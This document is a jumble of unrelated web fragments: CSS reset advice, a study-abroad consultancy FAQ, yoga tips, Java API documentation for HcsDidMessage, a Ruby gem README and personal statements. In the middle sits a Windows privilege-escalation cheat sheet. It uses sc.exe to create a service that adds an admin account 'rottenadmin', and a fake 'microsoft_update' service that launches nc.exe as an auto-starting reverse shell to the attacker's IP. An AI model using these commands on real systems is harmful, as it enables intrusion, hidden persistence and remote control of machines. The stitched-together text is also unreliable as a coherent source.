Conclusion: Show your browser who's boss and just add a reset.css stylesheet to your page. That's an easier starting point. Then you can add the three spacing amigos as you so desire. Pretty spacing is a good thing. Sneaky lingering margins caused by default settings are not.


Pricing
Starter
Free
Free Service
Multiple Accounts
Management No
--
Business
$97
Unlimited Data
Professional
$297
Whatever You Need


It depends on your interests, financial capabilities and future goals. USA offers various types of courses and prices, the UK does too. Canada and especially Australia has a lot to offer, during and after the graduation.
Depends where are you appliying for. Usually, minimum IELTS requirement is 6 or 5.5. If you obtained your Bachelor Degree from International Universities, where all syllabuses were taught in English and applying to Master’s program, then no need to have IELTS score for some Universities.
Mainly preparation of your documents for visa and application support for University. Assisting you to choose the right university based on your interest and demand for the major in Uzbekistan. Full support and consultancy for your enrollment to the chosen University.
We care about our each client and approach to their case individually. You could see all our reviews on our Facebook pages (https://www.facebook.com/EduActionUzb).
Please, visit our office from Monday to Friday anytime from 9am to 6pm.
Passport, IELTS certificate if any, Diploma, Transcript from your recent University/College.
Please, leave us all required information about you ( at contact us form) and we can get in touch with you in a short period of time. Or visit our office at the address below.
We have many students studying in the USA, Australia, UK, Malaysia, Korea and Singapore where you can see their review posts in our Facebook pages.
We do not send people. We only consult and support the students in their application and visa process for the chosen destination. We have many Universities in Europe as well.


If a Facebook Share dialog does not appear, ensure that popups are enabled from this tab. Once you've enabled popups, refresh this page.


Yoga is a great activity for you if you have diabetes, high blood pressure, high cholesterol, or heart disease. It gives you strength, flexibility, and mind-body awareness.
You'll also need to do something aerobic (like walking, biking, or swimming) if you're not doing a fast-moving type of yoga.
Here are the major types of yoga:
- Vinyasa yoga
- Hatha yoga
- Iyengar yoga
- Kundalini yoga
- Ashtanga yoga
- Bikram yoga
- Yin yoga
- Restorative yoga
🧘♀ What do you need to practice yoga?
- Your Own Mat.Your yoga studio or gym might have mats you can use, but it's a good idea to bring your own.
- A Mat Towel. Depending on your preferred style of yoga, you may end up sweating quite a bit during your practice.
- Comfortable, Breathable Clothing.
- Extra Layers.
- Good Water Bottle.
- Don't Stress!


This area provides tests where ETT simulates the role of the Health Information Service Provider (HISP). For those principally interested in testing for the 2015 Edition--please visit the "2015 Edition Testing by Criteria" to see what HISP tests are applicable for the respective criteria.


TASK: apply backgroundColor:"red" for each elelement in #startNode, which has class "red"
paragraph 2


--- layout: post title: "@jpren is here!" date: 2012-02-18 07:38:20.000000000 -08:00 type: post published: true status: publish categories: [] tags: [] meta: {} author: ---


--- layout: default backLink: false ---
A community platform for skincare enthusiasts
I'm currently open to new opportunities.
Feel free to send me an email
I grew up in Ottawa, Canada. Over the last five years, I've been earning a B. Eng. in Software Engineering from Carleton University and am due to graduate in April 2021.
During my degree, I completed two 4-month co-op work terms. Check out my resume to learn more about those.
I love to travel to off-the-beaten-path destinations, and over the last few years, I was able to travel to places that I never imagined I'd be able to see.
Some of my favourite experiences that I've had are:
Travelling has helped me strengthen my problem-solving skills, and I'm excited to apply the things I've learned on the road to my work.
PS: I love to share photos of my travels - follow me on Instagram to see the latest ones.


public class HcsDidMessage extends Message
| Modifier and Type | Field and Description |
|---|---|
protected java.time.Instant |
created
The date when the DID was created and published.
|
protected java.lang.String |
did |
protected java.lang.String |
didDocumentBase64 |
protected DidMethodOperation |
operation |
protected java.time.Instant |
updated
The date when the DID was updated and published.
|
| Modifier | Constructor and Description |
|---|---|
protected |
HcsDidMessage(DidMethodOperation operation,
java.lang.String did,
java.lang.String didDocumentBase64)
Creates a new instance of
HcsDidMessage . |
| Modifier and Type | Method and Description |
|---|---|
com.hedera.hashgraph.sdk.crypto.ed25519.PublicKey |
extractDidRootKey()
Extracts #did-root-key from the DID document.
|
static MessageEnvelope<HcsDidMessage> |
fromDidDocumentJson(java.lang.String didDocumentJson,
DidMethodOperation operation)
Creates a new DID message for submission to HCS topic.
|
java.time.Instant |
getCreated() |
static java.util.function.BiFunction<HcsDidMessage,java.time.Instant,HcsDidMessage> |
getDecrypter(java.util.function.BiFunction<byte[],java.time.Instant,byte[]> decryptionFunction)
Provides a decryption function that converts
HcsDidMessage in encrypted for into a plain form. |
java.lang.String |
getDid() |
java.lang.String |
getDidDocument()
Decodes didDocumentBase64 field and returns its content.
|
java.lang.String |
getDidDocumentBase64() |
static java.util.function.UnaryOperator<HcsDidMessage> |
getEncrypter(java.util.function.UnaryOperator<byte[]> encryptionFunction)
Provides an encryption operator that converts an
HcsDidMessage into encrypted one. |
DidMethodOperation |
getOperation() |
java.time.Instant |
getUpdated() |
boolean |
isValid()
Validates this DID message by checking its completeness, signature and DID document.
|
boolean |
isValid(com.hedera.hashgraph.sdk.consensus.TopicId didTopicId)
Validates this DID message by checking its completeness, signature and DID document.
|
void |
setCreated(java.time.Instant created) |
void |
setUpdated(java.time.Instant updated) |
getTimestamp, toJson
@Expose(serialize=true, deserialize=true) protected DidMethodOperation operation
@Expose(serialize=true, deserialize=true) protected java.lang.String did
@Expose(serialize=true, deserialize=true) protected java.lang.String didDocumentBase64
@Expose(serialize=false, deserialize=false) protected java.time.Instant created
@Expose(serialize=false, deserialize=false) protected java.time.Instant updated
protected HcsDidMessage(DidMethodOperation operation, java.lang.String did, java.lang.String didDocumentBase64)
HcsDidMessage
.operation
- The operation on DID document.did
- The DID string.didDocumentBase64
- The Base64-encoded DID document.public static MessageEnvelope<HcsDidMessage> fromDidDocumentJson(java.lang.String didDocumentJson, DidMethodOperation operation)
didDocumentJson
- DID document as JSON string.operation
- The operation on DID document.public static java.util.function.UnaryOperator<HcsDidMessage> getEncrypter(java.util.function.UnaryOperator<byte[]> encryptionFunction)
HcsDidMessage
into encrypted one.encryptionFunction
- The encryption function to use for encryption of single attributes.public static java.util.function.BiFunction<HcsDidMessage,java.time.Instant,HcsDidMessage> getDecrypter(java.util.function.BiFunction<byte[],java.time.Instant,byte[]> decryptionFunction)
HcsDidMessage
in encrypted for into a plain form.decryptionFunction
- The decryption function to use for decryption of single attributes.HcsDidMessage
public boolean isValid()
public boolean isValid(@Nullable com.hedera.hashgraph.sdk.consensus.TopicId didTopicId)
didTopicId
- The DID topic ID against which the message is validated.public com.hedera.hashgraph.sdk.crypto.ed25519.PublicKey extractDidRootKey()
public java.lang.String getDidDocument()
public DidMethodOperation getOperation()
public java.lang.String getDid()
public java.lang.String getDidDocumentBase64()
public java.time.Instant getCreated()
public void setCreated(java.time.Instant created)
public java.time.Instant getUpdated()
public void setUpdated(java.time.Instant updated)


# We can use sc to query, configure and manage windows services.
sc qc Spooler
sc config <service> ex: sc config <service> binpath= "net user rottenadmin P@ssword123! /add"
sc create <servicename> binpath= “c:\windows\system32\cmd.exe /k <pathtobinaryexecutable>” DisplayName= <displayname>
sc start <servicename>
Other flags
start= auto
error= ignore
#The sc utility throws an error each time we start the service with one of our malicious commands in the binpath. This is because the net user and net localgroup commands do not point to the service binary and therefore the SCM cannot communicate with the service. Never fear, however, as the error is thrown only after issuing our malicious commands.
Easy way around this is to have cmd.exe /k <pathtoexe>. The cmd.exe shell will close, but your second launched process will continue to run.
sc create microsoft_update binpath=”cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe” start= auto error= ignore
See Powershell section for managing services in PowerShell


easy_html_creator
Easy_html_creator is a gem that makes developing static HTML websites easy and joyful.
Once you learned the joy of haml or sass, it get boring to program in “plain old” html and css.
Using our Gem you could generate and maintain multiple static websites and program them in your preferred languages.
Currently supported by our fast and lightweight re-generation server: * HAML * Sass (with bootstarp) * CoffeeScript
We also included the “actionview” gem, to enable the use of rails standard functions like “text_field_tag”.
Installation
Add folliwing to your Gemfile
gem 'easy_html_creator'
than run
bundle install
Usage
ehc init
This command will generate a sample dev_root and
web_root folder
ehc generate
This command will generate all the files
ehc server [--ip-adres <IP_ADDRESS>] [--port 5678]
This command
will start a webserver with will automatically regenerate all the files
TODO
-
clean/refactor code
-
Add tests
Stats
Credits
Files are located in the first commit and/or version 0.0.1 - ./ruby_files/generate.rb is based on: github.com/scarpenter/command_line_haml/blob/master/generate.rb - ./ruby_files/server.rb is based on: practicingruby.com/articles/implementing-an-http-file-server


I want to achieve everything I want in my life and I am prepared to work hard for it.I believe in nothing is impossible.
There are lot of situations where you can win something or achieve something by being dishonest. I wouldn't do this irrespective of how small or big the reward is as this can have lot of effect on relationship between people.
We believe in hardwork and commitment.I strongly believe in this and I have seen the results in multiple occasions and I continue to follow it.
My strengths are techncial knowledge, problem solving skills and generalised knowledge.Hardwork and commitment to anything that I want to achieve in life.
At times I have to accept more responsibilities than that I can handle. This is quite uncomfortable but once completed, the results can have a great effect.
Strengths include fast learner, exposure to different things related to technology, problem solving skills. Limitations include time management and having to commit to too many things and having difficulty in handling them.
Commitment to successful completion and a strong desire to use my skills in workspace environment will have a strong impact on learning journey.
Having resistance in produtivity is always a common thing when working in a team but having to take it positively and evaluating the causes and working out solutions will be a stepping stone to the success of a team.